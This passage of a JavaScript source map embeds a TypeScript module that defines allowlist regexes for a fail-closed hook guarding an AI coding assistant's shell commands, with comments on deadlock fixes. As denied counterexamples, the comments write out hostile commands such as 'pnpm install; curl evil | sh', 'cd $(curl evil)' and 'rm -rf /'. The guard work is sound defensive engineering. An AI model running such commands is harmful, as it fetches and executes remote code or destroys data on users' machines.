EhF,yFAAyF;AACzF,EAAE;AACF,oGAAoG;AACpG,qGAAqG;AACrG,qGAAqG;AACrG,oGAAoG;AACpG,uGAAuG;AACvG,kGAAkG;AAClG,EAAE;AACF,qGAAqG;AACrG,qGAAqG;AACrG,qGAAqG;AACrG,qEAAqE;AACrE,MAAM,iBAAiB,GACnB,8JAA8J,CAAC;AACtJ,QAAA,kBAAkB,GAC3B,sBAAsB,GAAG,iBAAiB,GAAG,wBAAgB,CAAC;AAElE,uGAAuG;AACvG,MAAM,gBAAgB,GAClB,kHAAkH,CAAC;AAC1G,QAAA,iBAAiB,GAC1B,IAAI,MAAM,CAAC,qBAAqB,GAAG,gBAAgB,GAAG,2BAAmB,CAAC,CAAC;AAE/E,0FAA0F;AAC7E,QAAA,YAAY,GAAG,qCAAqC,CAAC;AAElE,sGAAsG;AACtG,qGAAqG;AACrG,kGAAkG;AAClG,qGAAqG;AACrG,8FAA8F;AAC9F,EAAE;AACF,oGAAoG;AACpG,kGAAkG;AAClG,uGAAuG;AACvG,oGAAoG;AACpG,4FAA4F;AAC5F,EAAE;AACF,sDAAsD;AACtD,EAAE;AACF,oGAAoG;AACpG,mGAAmG;AACnG,mGAAmG;AACnG,oGAAoG;AACpG,EAAE;AACF,gGAAgG;AAChG,mGAAmG;AACnG,qGAAqG;AACrG,uGAAuG;AACvG,EAAE;AACF,qGAAqG;AACrG,uGAAuG;AACvG,wGAAwG;AACxG,oFAAoF;AACpF,iEAAiE;AACjE,MAAM,aAAa,GAAG,+EAA+E,CAAC;AACzF,QAAA,cAAc,GACvB,sBAAsB,GAAG,aAAa,GAAG,wBAAgB,CAAC;AAE9D,mGAAmG;AACnG,MAAM,YAAY,GAAG,+DAA+D,CAAC;AACxE,QAAA,aAAa,GACtB,IAAI,MAAM,CAAC,qBAAqB,GAAG,YAAY,GAAG,2BAAmB,CAAC,CAAC;AAE3E,kGAAkG;AAClG,sGAAsG;AACtG,wGAAwG;AACxG,0IAA0I;AAC1I,sGAAsG;AACtG,yEAAyE;AACzE,MAAM,qBAAqB,GAAG,oEAAoE,CAAC;AACtF,QAAA,sBAAsB,GAC/B,sBAAsB,GAAG,qBAAqB,GAAG,wBAAgB,CAAC;AAEtE,wGAAwG;AACxG,MAAM,oBAAoB,GAAG,oDAAoD,CAAC;AACrE,QAAA,qBAAqB,GAC9B,IAAI,MAAM,CAAC,qBAAqB,GAAG,oBAAoB,GAAG,2BAAmB,CAAC,CAAC;AAEnF,iGAAiG;AACpF,QAAA,gBAAgB,GAAG,2BAA2B,CAAC;AAE5D,uGAAuG;AACvG,6FAA6F;AAC7F,mGAAmG;AACnG,6FAA6F;AAC7F,uGAAuG;AACvG,6DAA6D;AAC7D,EAAE;AACF,oGAAoG;AACpG,sGAAsG;AACtG,sGAAsG;AACtG,qGAAqG;AACrG,kDAAkD;AAClD,6FAA6F;AAC7F,EAAE;AACF,iGAAiG;AACjG,mGAAmG;AACnG,gFAAgF;AAChF,MAAM,qBAAqB,GACvB,sIAAsI,CAAC;AAC9H,QAAA,sBAAsB,GAC/B,sBAAsB,GAAG,qBAAqB,GAAG,wBAAgB,CAAC;AAEtE,wGAAwG;AACxG,MAAM,oBAAoB,GACtB,sIAAsI,CAAC;AAC9H,QAAA,qBAAqB,GAC9B,IAAI,MAAM,CAAC,qBAAqB,GAAG,oBAAoB,GAAG,2BAAmB,CAAC,CAAC;AAEnF,wGAAwG;AAC3F,QAAA,gBAAgB,GACzB,4FAA4F,CAAC;AAEjG,oGAAoG;AACpG,EAAE;AACF,oGAAoG;AACpG,kGAAkG;AAClG,qGAAqG;AACrG,sGAAsG;AACtG,wGAAwG;AACxG,uGAAuG;AACvG,mGAAmG;AACnG,qGAAqG;AACrG,EAAE;AACF,yGAAyG;AACzG,wGAAwG;AACxG,0GAA0G;AAC1G,wGAAwG;AACxG,mGAAmG;AACnG,EAAE;AACF,uGAAuG;AACvG,+GAA+G;AAC/G,MAAM,sBAAsB,GACxB,oHAAoH,CAAC;AAC5G,QAAA,uBAAuB,GAChC,sBAAsB,GAAG,sBAAsB,GAAG,wBAAgB,CAAC;AAEvE,yGAAyG;AACzG,MAAM,qBAAqB,GACvB,4FAA4F,CAAC;AACpF,QAAA,sBAAsB,GAC/B,IAAI,MAAM,CAAC,qBAAqB,GAAG,qBAAqB,GAAG,2BAAmB,CAAC,CAAC;AAEpF,2GAA2G;AAC3G,EAAE;AACF,iGAAiG;AACjG,qGAAqG;AACrG,oGAAoG;AACpG,wGAAwG;AACxG,uGAAuG;AACvG,4BAA4B;AAC5B,EAAE;AACF,oGAAoG;AACpG,iGAAiG;AACjG,wGAAwG;AACxG,uGAAuG;AACvG,4EAA4E;AAC5E,EAAE;AACF,sGAAsG;AACtG,wGAAwG;AACxG,6FAA6F;AAC7F,oGAAoG;AACpG,wGAAwG;AACxG,yEAAyE;AACzE,MAAM,YAAY,GAAG,2CAA2C,CAAC;AACjE,MAAM,qBAAqB,GACvB,wCAAwC,GAAG,YAAY,GAAG,wCAAwC;MAChG,mCAAmC,GAAG,YAAY,GAAG,IAAI,CAAC;AACnD,QAAA,sBAAsB,GAC/B,sBAAsB,GAAG,qBAAqB,GAAG,wBAAgB,CAAC;AAEtE,wGAAwG;AACxG,MAAM,WAAW,GAAG,6CAA6C,CAAC;AAClE,MAAM,oBAAoB,GACtB,wBAAwB,GAAG,WAAW,GAAG,kCAAkC;MACzE,2BAA2B,GAAG,WAAW,GAAG,IAAI,CAAC;AAC1C,QAAA,qBAAqB,GAC9B,IAAI,MAAM,CAAC,qBAAqB,GAAG,oBAAoB,GAAG,2BAAmB,CAAC,CAAC;AAEnF,8EAA8E;AACjE,QAAA,QAAQ,GAAG,0BAA0B,CAAC;AAEnD,sGAAsG;AACzF,QAAA,gBAAgB,GAAG,eAAe,gBAAQ,EAAE,CAAC;AAE1D,0EAA0E;AAC1E,EAAE;AACF,uGAAuG;AACvG,wGAAwG;AACxG,uGAAuG;AACvG,qGAAqG;AACrG,wGAAwG;AACxG,gGAAgG;AAChG,sGAAsG;AACtG,OAAO;AACP,EAAE;AACF,2FAA2F;AAC3F,oGAAoG;AACpG,wGAAwG;AACxG,uGAAuG;AACvG,oGAAoG;AACpG,aAAa;AACb,EAAE;AACF,sGAAsG;AACtG,sGAAsG;AACtG,iGAAiG;AACjG,oGAAoG;AACpG,kCAAkC;AAClC,EAAE;AACF,oGAAoG;AACpG,uGAAuG;AACvG,wGAAwG;AACxG,oGAAoG;AACpG,6DAA6D;AAC7D,mEAAmE;AACnE,MAAM,eAAe,GACjB,wJAAwJ,CAAC;AAChJ,QAAA,gBAAgB,GACzB,sBAAsB,GAAG,eAAe,GAAG,wBAAgB,CAAC;AAEhE,qGAAqG;AACrG,MAAM,cAAc,GAChB,0HAA0H,CAAC;AAClH,QAAA,eAAe,GACxB,IAAI,MAAM,CAAC,qBAAqB,GAAG,cAAc,GAAG,2BAAmB,CAAC,CAAC;AAE7E,6FAA6F;AAChF,QAAA,UAAU,GAAG,KAAK,CAAC;AAEhC,iGAAiG;AACpF,QAAA,iBAAiB,GAAG,+BAA+B,CAAC;AAEjE,oGAAoG;AACpG,6FAA6F;AAC7F,qGAAqG;AACxF,QAAA,wBAAwB,GAAG,2CAA2C,CAAC;AAEpF,8EAA8E;AAC9E,uFAAuF;AACvF,EAAE;AACF,uFAAuF;AACvF,wGAAwG;AACxG,iGAAiG;AACjG,iGAAiG;AACjG,iGAAiG;AACjG,wGAAwG;AACxG,EAAE;AACF,0FAA0F;AAC1F,8EAA8E;AAC9E,uGAAuG;AACvG,wGAAwG;AACxG,0BAA0B;AAC1B,wGAAwG;AACxG,oGAAoG;AACpG,0FAA0F;AAC1F,oGAAoG;AACpG,sGAAsG;AACtG,mGAAmG;AACnG,EAAE;AACF,+FAA+F;AAC/F,4FAA4F;AAC5F,EAAE;AACF,kGAAkG;AAClG,kGAAkG;AAClG,sFAAsF;AACtF,8EAA8E;AAE9E,uGAAuG;AACvG,MAAa,MAAM;IAEF;IACA;IACA;IAHb,YACa,QAAgB,EAChB,OAAe,EACf,QAAgB;QAFhB,aAAQ,GAAR,QAAQ,CAAQ;QAChB,YAAO,GAAP,OAAO,CAAQ;QACf,aAAQ,GAAR,QAAQ,CAAQ;IAC1B,CAAC;CACP;AAND,wBAMC;AAED;;;;;;;;;;;;;;GAcG;AACH,MAAa,YAAY;IAGR;IACA;IAOA;IACA;IACA;IACA;IACA;IAdb,yDAAyD;IACzD,YACa,KAAa,EACb,IAAsB;IAC/B;;;;;OAKG;IACM,IAAa,EACb,GAAkB,EAClB,EAAiB,EACjB,MAAc,EACd,eAAkC,EAAE;QAZpC,UAAK,GAAL,KAAK,CAAQ;QACb,SAAI,GAAJ,IAAI,CAAkB;QAOtB,SAAI,GAAJ,IAAI,CAAS;QACb,QAAG,GAAH,GAAG,CAAe;QAClB,OAAE,GAAF,EAAE,CAAe;QACjB,WAAM,GAAN,MAAM,CAAQ;QACd,iBAAY,GAAZ,YAAY,CAAwB;IAC9C,CAAC;IAEJ,kFAAkF;IAClF,UAAU;QACN,OAAO,CAAC,IAAI,CAAC,MAAM,EAAE,GAAG,IAAI,CAAC,YAAY,CAAC,CAAC;IAC/C,CAAC;CACJ;AAtBD,oCAsBC;AAEY,QAAA,YAAY,GAA4B;IACjD,IAAI,YAAY,CAAC,UAAU,EAAE,MAAM,EAAE,KAAK,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,MAAM,CAAC,MAAM,EAAE,EAAE,EAAE,WAAW,CAAC,CAAC;IAC5F,IAAI,YAAY,CAAC,gCAAgC,8BAAe,EAAE,EAAE,MAAM,EAAE,KAAK,EAAE,IAAI,EAAE,IAAI,EACzF,IAAI,MAAM,CAAC,MAAM,EAAE,EAAE,EAAE,SAAS,8BAAe,EAAE,CAAC,CAAC;IACvD,IAAI,YAAY,CAAC,kBAAkB,EAAE,OAAO,EAAE,IAAI,EAAE,kBAAkB,EAAE,iBAAiB,EACrF,IAAI,MAAM,CAAC,MAAM,EAAE,cAAc,EAAE,EAAE,CAAC,CAAC;IAC3C,IAAI,YAAY,CAAC,GAAG,oBAAY,wCAAwC,EAAE,OAAO,EAAE,IAAI,EAAE,iBAAiB,EAAE,gBAAgB,EACxH,IAAI,MAAM,CAAC,MAAM,EAAE,oBAAY,EAAE,EAAE,CAAC,CAAC;IACzC,oGAAoG;IACpG,IAAI,YAAY,CAAC,iDAAiD,EAAE,OAAO,EAAE,IAAI,EAAE,aAAa,EAAE,YAAY,EAC1G,IAAI,MAAM,CAAC,MAAM,EAAE,UAAU,EAAE,EAAE,CAAC,CAAC;IACvC,IAAI,YAAY,CAAC,wBAAgB,EAAE,OAAO,EAAE,IAAI,EAAE,qBAAqB,EAAE,oBAAoB,EACzF,IAAI,MAAM,CAAC,MAAM,EAAE,wBAAgB,EAAE,EAAE,CAAC,CAAC;IAC7C,IAAI,YAAY,CAAC,wBAAgB,EAAE,OAAO,EAAE,IAAI,EAAE,qBAAqB,EAAE,oBAAoB,EACzF,IAAI,MAAM,CAAC,MAAM,EAAE,wBAAgB,EAAE,EAAE,CAAC,CAAC;IAC7C,IAAI,YAAY,CAAC,GAAG,yBAAiB,yCAAyC,EAAE,OAAO,EAAE,IAAI,EAAE,sBAAsB,EAAE,qBAAqB,EACxI,IAAI,MAAM,CAAC,MAAM,EAAE,yBAAiB,EAAE,EAAE,CAAC,EACzC,CAAC,IAAI,MAAM,CAAC,MAAM,EAAE,gCAAwB,EAAE,EAAE,CAAC,CAAC,CAAC;IACvD,qGAAqG;IACrG,qGAAqG;IACrG,6CAA6C;IAC7C,IAAI,YAAY,CAAC,GAAG,wBAAgB,wCAAwC,EAAE,OAAO,EAAE,IAAI,EAAE,qBAAqB,EAAE,oBAAoB,EACpI,IAAI,MAAM,CAAC,MAAM,EAAE,wBAAgB,EAAE,EAAE,CAAC,EACxC;QACI,IAAI,MAAM,CAAC,MAAM,EAAE,GAAG,wBAAgB,UAAU,EAAE,EAAE,CAAC;QACrD,IAAI,MAAM,CAAC,MAAM,EAAE,kBAAkB,gBAAQ,UAAU,EAAE,EAAE,CAAC;QAC5D,IAAI,MAAM,CAAC,MAAM,EAAE,sBAAsB,gBAAQ,EAAE,EAAE,EAAE,CAAC;KAC3D,CAAC;IACN,mGAAmG;IACnG,kGAAkG;IAClG,yEAAyE;IACzE,IAAI,YAAY,CACZ,0FAA0F,EAC1F,OAAO,EAAE,KAAK,EAAE,eAAe,EAAE,cAAc,EAC/C,IAAI,MAAM,CAAC,MAAM,EAAE,kBAAU,EAAE,EAAE,CAAC,EAClC;QACI,IAAI,MAAM,CAAC,MAAM,EAAE,+BAA+B,EAAE,EAAE,CAAC;QACvD,IAAI,MAAM,CAAC,MAAM,EAAE,mBAAmB,EAAE,EAAE,CAAC;QAC3C,IAAI,MAAM,CAAC,MAAM,EAAE,YAAY,EAAE,EAAE,CAAC;KACvC,CAAC;CACT,CAAC;AAEF,MAAM,aAAa,GAAG,oBAAY,CAAC,OAAO,CAAC,CAAC,CAAe,EAAY,EAAE,CAAC,CAAC,CAAC,CAAC,GAAG,KAAK,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC;AAC3G,MAAM,YAAY,GAAG,oBAAY,CAAC,OAAO,CAAC,CAAC,CAAe,EAAY,EAAE,CAAC,CAAC,CAAC,CAAC,EAAE,KAAK,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC;AAExG,uGAAuG;AACvG,sGAAsG;AACtG,2CAA2C;AAC9B,QAAA,YAAY,GACrB,sBAAsB,GAAG,GAAG,GAAG,aAAa,CAAC,IAAI,CAAC,GAAG,CAAC,GAAG,GAAG,GAAG,wBAAgB,CAAC;AAEpF,iGAAiG;AACjG,gDAAgD;AAChD,EAAE;AACF,oGAAoG;AACpG,qGAAqG;AACrG,sGAAsG;AACtG,+FAA+F;AAC/F,gFAAgF;AACnE,QAAA,eAAe,GAAG,oBAAY,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;AAErE,qFAAqF;AACxE,QAAA,WAAW,GACpB,IAAI,MAAM,CAAC,qBAAqB,GAAG,GAAG,GAAG,YAAY,CAAC,IAAI,CAAC,GAAG,CAAC,GAAG,GAAG,GAAG,2BAAmB,CAAC,CAAC;AAEjG,0EAA0E;AAC1E,EAAE;AACF,uGAAuG;AACvG,sGAAsG;AACtG,sGAAsG;AACtG,sGAAsG;AACtG,4DAA4D;AAC5D,EAAE;AACF,mGAAmG;AACnG,uGAAuG;AACvG,mGAAmG;AACnG,uGAAuG;AACvG,MAAM,iBAAiB,GAAG,oBAAY,CAAC,OAAO,CAC1C,CAAC,CAAe,EAAY,EAAE,CAAC,CAAC,CAAC,CAAC,EAAE,KAAK,IAAI,IAAI,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC;AAChE,QAAA,gBAAgB,GACzB,IAAI,MAAM,CAAC,qBAAqB,GAAG,GAAG,GAAG,iBAAiB,CAAC,IAAI,CAAC,GAAG,CAAC,GAAG,GAAG,GAAG,2BAAmB,CAAC,CAAC;AAEtG,4FAA4F;AAC5F,EAAE;AACF,2FAA2F;AAC3F,uGAAuG;AACvG,oGAAoG;AACpG,wGAAwG;AACxG,uGAAuG;AACvG,yFAAyF;AAC5E,QAAA,UAAU,GAAwB,IAAI,GAAG,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC;AAEjE;;;;;;;;GAQG;AACH,iMAAiM;AACjM,SAAgB,SAAS,CAAC,QAAgB,EAAE,OAAe,EAAE,QAAgB;IACzE,IAAI,kBAAU,CAAC,GAAG,CAAC,QAAQ,CAAC;QAAE,OAAO,MAAM,CAAC;IAC5C,IAAI,IAAI,CAAC,QAAQ,CAAC,QAAQ,CAAC,KAAK,8BAAe;QAAE,OAAO,MAAM,CAAC;IAC/D,IAAI,mBAAW,CAAC,IAAI,CAAC,OAAO,CAAC,IAAI,EAAE,CAAC;QAAE,OAAO,OAAO,CAAC;IACrD,OAAO,IAAI,CAAC;AAChB,CAAC","sourcesContent":["import * as path from 'path';\n\nimport { CONFIG_FILENAME } from '@webpieces/rules-config';\n\n// ---------------------------------------------------------------------------\n// THE L0 ALLOWLIST — the vocabulary (the named cure patterns, each an ERE+JS twin pair), the ONE union\n// every L0 fault consults, and isAllowed(), the single question sh and JS both ask.\n//\n// Split out of ./shim.ts purely for size (the shim module also renders the shim body). shim.ts\n// re-exports everything here, so every existing import keeps working, and this module stays as\n// dependency-free as shim.ts must be: it has to load on a tree too broken to load the rule engine.\n// ---------------------------------------------------------------------------\n// The OUTPUT-CAPTURE TAIL every escape hatch below tolerates — the 2026-07-21 deadlock report, part 2.\n// Every allowlist was anchored to a BARE command, but the way an AI assistant actually spells a\n// diagnostic command is `<cmd> 2>&1 | tail -20` (it trims the output it has to read back). The audit\n// log proves it: `.webpieces/logs/<stream>ai-hook-shim.log` has `pnpm install 2>&1 | tail -15` logged as\n// DENY-STALE seconds away from a bare `pnpm install` logged as ALLOW-INSTALL — the same cure, denied\n// for its redirection. A cure that is denied when spelled the natural way reads to the assistant as\n// \"the guard blocks its own fix\", which is exactly the conclusion it drew before handing the fix back\n// to the human.\n//\n// So each hatch accepts an OPTIONAL trailing stderr redirect (`2>&1` to fold stderr in, or `2>/dev/null`\n// to drop it — I hit the missing `2>/dev/null` case myself within the hour, running `pnpm install\n// 2>/dev/null | tail -2` against a drift block) and an OPTIONAL pipe into `tail`/`head` carrying at\n// most a line-count flag (`-20`, `-n 20`). Nothing else: the pipe target is one of two literal,\n// read-only pager words and its only argument is digits, so `| sh`, `| curl …`, `| tee /etc/x` and\n// every other operator stay DENIED. Spliced in place of each pattern's old `[[:space:]]*$` tail, so the\n// anchoring at both ends is unchanged. Keep in sync with CAPTURE_TAIL_JS_SRC (locked by a unit test).\nexport const CAPTURE_TAIL_ERE =\n '([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\\\\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$';\n\n// JS-regex-source twin of CAPTURE_TAIL_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CAPTURE_TAIL_JS_SRC =\n '(\\\\s+2>(&1|\\\\/dev\\\\/null))?(\\\\s*\\\\|\\\\s*(tail|head)(\\\\s+-(n\\\\s+)?[0-9]+)?)?\\\\s*$';\n\n// The DIRECTORY PREFIX every escape hatch tolerates — the 2026-07-30 worktree deadlock.\n//\n// The harness RESETS a cwd that left the workspace — a standalone `cd <worktree>` followed by `pwd` in\n// the next call reports the primary clone again, and the harness prints `Shell cwd was reset to <root>`\n// when it happens. So an agent working in a linked worktree can only reach that tree with a\n// self-contained `cd <worktree> && …`. (A `cd` that STAYS inside the workspace persists instead, so\n// \"cd never persists\" — which this comment used to assert — is the worktree case over-generalized.)\n// The drift guard demanded a BARE `pnpm install`\n// (\"do NOT put a cd in front of it\") while the install was needed in the worktree — the cure was\n// literally untypable from the place that needed it, and a bare `cd <worktree>` was itself blocked.\n//\n// A leading `cd <path> &&` cannot change what the command does to a repo, so it is not a safety\n// concern; and this stays as un-smuggleable as the rest of the hatch, because the path token accepts\n// only path characters — no whitespace, no quote, no `$`, no backtick, and no shell operator. So\n// `cd /x && pnpm install` passes while `cd $(curl evil) && pnpm install`, `cd /x; rm -rf /` and\n// `cd /x && pnpm install && rm -rf /` all still FAIL CLOSED.\n//\n// SPACES IN THE REPO PATH (2026-08-02). The bare token above admits no whitespace, so on a machine\n// whose checkout lives under `/Users/dean hiller/…`, \"Google Drive\", \"My Documents\" or an iCloud path,\n// the `cd` prefix was UNREACHABLE — every L0 escape hatch was untypable from a linked worktree, which\n// is the exact deadlock class the prefix was added to prevent. And `atRoot()` emitted the remedy\n// unquoted, so what the guard PRESCRIBED was already broken shell before any allowlist saw it.\n//\n// The cure is a SINGLE-QUOTED alternative, `'[^']+'`, and the single quotes ARE the security argument:\n// inside single quotes sh performs NO expansion whatsoever — `$(…)`, backticks, `$VAR`, `&&`, `;`, `|`\n// are all literal characters of the path — and the ONLY character that can end the quoted region is the\n// one the character class excludes. So the pattern is un-smuggleable BY CONSTRUCTION, with no cleverness\n// required: `cd '/Users/dean hiller/repo' && pnpm install` passes, and `cd '$(curl evil)' && pnpm\n// install` matches but is INERT (sh cds to a directory literally named `$(curl evil)`, which does not\n// exist, and `&&` short-circuits — nothing is fetched and nothing is executed).\n//\n// DOUBLE quotes are deliberately NOT accepted: `$` and backticks still expand inside them, so\n// `cd \"$(curl evil)\" && pnpm install` would be a real command substitution. It stays DENIED, as does\n// `cd \"/Users/dean hiller/repo\" && pnpm install` — the quote character itself is outside both branches.\n// Keep in sync with CD_PREFIX_JS_SRC (locked by a unit test).\nexport const CD_PREFIX_ERE = \"(cd[[:space:]]+([A-Za-z0-9._/@~+-]+|'[^']+')[[:space:]]*&&[[:space:]]*)?\";\n\n// JS-regex-source twin of CD_PREFIX_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CD_PREFIX_JS_SRC = \"(cd\\\\s+([A-Za-z0-9._\\\\/@~+-]+|'[^']+')\\\\s*&&\\\\s*)?\";\n\n// Every hatch below starts with the anchor + the optional `cd` prefix. Spliced in place of each\n// pattern's old bare `^`, so the anchoring at both ends is unchanged.\nconst CD_PREFIX_ERE_ANCHORED = '^' + CD_PREFIX_ERE;\nconst CD_PREFIX_JS_ANCHORED = '^' + CD_PREFIX_JS_SRC;\n\n// Package-manager install commands allowed to pass the fail-closed shim so the assistant can\n// self-heal the guards (run `pnpm install`) when node_modules is absent — otherwise the guard blocks\n// the very command that re-enables it (deadlock). nx/pnpm monorepo only. POSIX ERE (fed to `grep -E`).\n//\n// What's allowed (the realistic self-heal spellings — an earlier version only matched a bare\n// `pnpm install`, so `pnpm i` and `--flag=value` got fail-CLOSED and re-deadlocked the assistant):\n// - pkg managers: pnpm | npm (this nx monorepo uses pnpm; npm is accepted as the fallback. NOT\n// yarn — this repo installs with pnpm/npm only, so yarn stays denied.)\n// - subcommands: install | i (`pnpm i` / `npm i` is just shorthand for `install`)\n// - flags: zero or more `--flag` / `--flag=value` tokens (no whitespace, no operators)\n//\n// An optional LEADING `cd <path> &&` (CD_PREFIX_ERE) — added 2026-07-30. The old comment here argued a\n// `cd` is never needed because Claude Code starts at the repo root. That is false in a LINKED WORKTREE:\n// git copies no node_modules into a new worktree, so the very first call there needs an install in THAT\n// tree, and the harness resets a cwd that left the workspace, so `cd <worktree> && pnpm install` is the only\n// spelling that reaches it. Denying the prefix made the cure unreachable from the one place it was\n// needed. It widens nothing: the prefix cannot change what the install does, and the path token admits\n// no operator (see CD_PREFIX_ERE).\n//\n// Why it's un-smuggleable (the whole point of failing closed): the tail is anchored to `$` and only\n// accepts `--word` tokens, so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`, `<`) can ride\n// along — `pnpm install && rm -rf /` and `pnpm install; curl evil | sh` still FAIL CLOSED.\n// Keep in sync with INSTALLER_ALLOW_JS below (locked by a unit test).\nconst INSTALLER_BODY_ERE = '(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALLER_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + INSTALLER_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALLER_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). The fail-closed shim (pure sh)\n// uses the ERE for the missing-bin case; the runner uses THIS twin (runBashInternal) so installer\n// commands also pass when the bin IS installed but the config is invalid/ahead of the validator —\n// same deadlock, other side. A unit test asserts the two agree on a sample set.\nconst INSTALLER_BODY_JS = '(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALLER_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + INSTALLER_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The RECOVERY command, allowed alongside INSTALLER_ALLOW_ERE on every fail-closed path.\n//\n// Why a plain `pnpm install` is NOT enough (learned the hard way): when node_modules is CORRUPT — a\n// package half-written by an install that was killed mid-copy — pnpm sees a package dir carrying the\n// right version in its package.json, considers it installed, and SKIPS it. `pnpm install` cheerfully\n// reports \"up to date\" and the corruption survives every retry. The only reliable cure is to delete\n// node_modules so pnpm re-materializes the package from the (healthy) global store. So the fail-closed\n// escape hatch MUST allow the wipe too, or the assistant is left denying its own cure (deadlock).\n//\n// Kept as tight as INSTALLER_ALLOW_ERE: anchored at both ends, the ONLY shell operator accepted is a\n// single `&&` in exactly one position, and the rm target is literally `node_modules` — nothing else.\n// So `rm -rf /`, `rm -rf node_modules/../..`, `rm -rf node_modules; curl evil | sh` all stay DENIED.\n// Keep in sync with RECOVERY_ALLOW_JS below (locked by a unit test).\nconst RECOVERY_BODY_ERE =\n 'rm[[:space:]]+-rf[[:space:]]+(\\\\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';\nexport const RECOVERY_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + RECOVERY_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RECOVERY_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst RECOVERY_BODY_JS =\n 'rm\\\\s+-rf\\\\s+(\\\\.\\\\/)?node_modules\\\\/?(\\\\s*&&\\\\s*(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';\nexport const RECOVERY_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + RECOVERY_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the human/assistant to run to recover a corrupt node_modules.\nexport const RECOVERY_CMD = 'rm -rf node_modules && pnpm install';\n\n// Git SYNC commands. Part of the ONE L0 allowlist (see L0_ALLOW_ERE), so they are allowed under EVERY\n// L0 fault, not just drift. They used to be gated on drift alone, on the reasoning that no amount of\n// git can fix a missing/broken bin. True but irrelevant: an allowlist entry that cannot help also\n// cannot hurt, and the gating had a real cost — under a stale committed shim, `git pull` is the ONLY\n// cure when the CHECKOUT is the stale side, and it was denied. Ungating it removes that trap.\n//\n// `merge` was REMOVED from this list. It was accepted here while the guards are DOWN, and the drift\n// message had to spend a sentence telling the reader NOT to use the thing the allowlist permits —\n// because redirect-how-to-merge-main blocks `git merge` in every form the moment the guards come back.\n// Main is merged only through the 3-point fork merge (`wp-start-*`). With one global allowlist that\n// hole would widen from one fault to every fault, so the entry goes rather than the gating.\n//\n// The deadlock this entry exists for, hit 2026-07-17:\n//\n// The drift guard was written for ONE direction — you `git pull`, the new package.json pins a NEWER\n// @webpieces, node_modules is still OLD, and `pnpm install` catches it up. But the comparison is a\n// plain `!=`, so it fires just as hard in the INVERSE case: check out a branch (or a local `main`)\n// that is BEHIND origin, and now the PIN is the stale side while node_modules is correct and NEWER.\n//\n// In that inverse case `pnpm install` is not the cure, it is the disease: it happily DOWNGRADES\n// node_modules to the stale pin. The real cure is `git pull` — which the guard denied, because the\n// allowlist only ever contained the installer. So the assistant was told to run the one command that\n// made things worse, while the fix was blocked. Allow the sync commands here and the deadlock is gone.\n//\n// Kept exactly as tight as INSTALLER_ALLOW_ERE: anchored at both ends, and every argument token is a\n// bare word or `--flag` — so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`) can ride along.\n// `git pull; curl evil | sh` still FAILS CLOSED. Deliberately NOT `git checkout`: switching branches is\n// what CAUSES this drift, and a fail-closed escape hatch should only contain cures.\n// Keep in sync with SYNC_ALLOW_JS below (locked by a unit test).\nconst SYNC_BODY_ERE = 'git[[:space:]]+(pull|fetch)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const SYNC_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + SYNC_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of SYNC_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst SYNC_BODY_JS = 'git\\\\s+(pull|fetch)(\\\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const SYNC_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + SYNC_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The CURE for the committed-shim self-guard (now enforced by the binary — see committedShimStale\n// below): regenerate .claude/webpieces/ai-hook.sh from renderShim(). Allowed while that guard is up —\n// like the installer, it is a webpieces-owned, no-network local action whose whole job is to re-arm the\n// guard, so denying it would deadlock the assistant against its own fix. Accepts the realistic spellings of the wp-upgrade-shim bin under\n// pnpm/npm/npx; anchored at both ends with only a bare bin name, so no shell operator can ride along.\n// Keep in sync with UPGRADE_SHIM_ALLOW_JS below (locked by a unit test).\nconst UPGRADE_SHIM_BODY_ERE = '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-upgrade-shim';\nexport const UPGRADE_SHIM_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + UPGRADE_SHIM_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of UPGRADE_SHIM_ALLOW_ERE (POSIX 